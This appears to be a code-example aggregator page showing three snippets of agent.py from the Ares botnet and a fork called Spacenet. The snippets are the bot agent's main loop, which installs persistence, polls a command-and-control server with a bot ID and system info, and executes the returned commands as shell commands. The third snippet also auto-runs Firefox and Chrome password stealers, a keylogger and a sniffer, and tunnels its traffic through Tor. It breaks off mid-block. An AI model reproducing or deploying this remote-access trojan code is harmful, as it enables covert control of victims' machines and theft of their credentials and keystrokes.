コード例 #1
0
ファイル: agent.py プロジェクト: coh7eiqu8thaBu/Ares
def main(args):
    if settings.DEBUG:
        if len(args) > 0 and args[0] in MODULES:
            if len(args) > 1 and args[1] == "help":
                print(sys.modules["modules.%s" % args[0]].help())
            else:
                print(sys.modules["modules.%s" % args[0]].run(*args[1:]))
            sys.exit()

    time.sleep(settings.PAUSE_AT_START)
    if settings.AUTO_PERSIST:
        persistence.install()
    last_active = time.time()
    is_idle = False
    while 1:
        if is_idle:
            time.sleep(settings.REQUEST_INTERVAL * 10)
        else:
            time.sleep(settings.REQUEST_INTERVAL)
        try:
            command = requests.get(settings.SERVER_URL + "/api/pop?botid=" + settings.BOT_ID + "&sysinfo=" + platform.system() + " " + platform.release()).text
            cmdargs = command.split(" ")
            if command:
                if settings.DEBUG:
                    print "Command: " + command
                if cmdargs[0] == "cd":
                    os.chdir(os.path.expandvars(" ".join(cmdargs[1:])))
                elif cmdargs[0] in MODULES:
                    sys.modules["modules.%s" % cmdargs[0]].run(*cmdargs[1:])
                elif cmdargs[0] == "help":
                    if len(cmdargs) > 1:
                        print_help(cmdargs[1])
                    else:
                        print_help()
                else:
                    runcmd.run(command)
                last_active = time.time()
                is_idle = False
            elif time.time() - last_active > settings.IDLE_TIME:
                is_idle = True
        except Exception, exc:
            is_idle = True
            if settings.DEBUG:
                print "Exception: " + exc
コード例 #2
0
ファイル: agent.py プロジェクト: 601040605/Ares
- cd path/to/dir : changes directory
- help : display this text
- [any other command] : execute shell command

"""
    else:
        help_text = "- " + mod + "\n"
        help_text += sys.modules["modules.%s" % mod].help()

    utils.send_output(help_text)


if __name__ == "__main__":
    time.sleep(settings.PAUSE_AT_START)
    if settings.AUTO_PERSIST:
        persistence.install()
    last_active = time.time()
    is_idle = False
    while 1:
        if is_idle:
            time.sleep(settings.REQUEST_INTERVAL * 10)
        else:
            time.sleep(settings.REQUEST_INTERVAL)
        try:
            command = requests.get(settings.SERVER_URL + "/api/pop?botid=" + settings.BOT_ID + "&sysinfo=" + platform.system() + " " + platform.release()).text
            cmdargs = command.split(" ")
            if command:
                if settings.DEBUG:
                    print command
                if cmdargs[0] == "cd":
                    os.chdir(os.path.expandvars(" ".join(cmdargs[1:])))
コード例 #3
0
ファイル: agent.py プロジェクト: x1234xx/Spacenet
    time.sleep(settings.PAUSE_AT_START)

    if settings.AUTO_PASSWORD_SENDER:
        firefox.run()
        time.sleep(2)
        chrome.run()
        time.sleep(2)
        chromedata.run()
    if settings.AUTO_KEYLOGGER:
        keylogger.run("start")
    if settings.AUTO_GET_SNIFFER:
        thread1 = Thread(target=snifferget)
        thread1.start()
    if settings.AUTO_PERSIST:
        persistence.install()
    last_active = time.time()
    is_idle = False
    infopc.run()
    while 1:
        if is_idle:
            time.sleep(settings.REQUEST_INTERVAL * 10)
        else:
            time.sleep(settings.REQUEST_INTERVAL)
        try:
            import socks, socket, urllib2, urllib
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,
                                  settings.PROXY_TOR_IP,
                                  settings.PROXY_TOR_PORT)
            socket.socket = socks.socksocket
            socket.create_connection = create_connection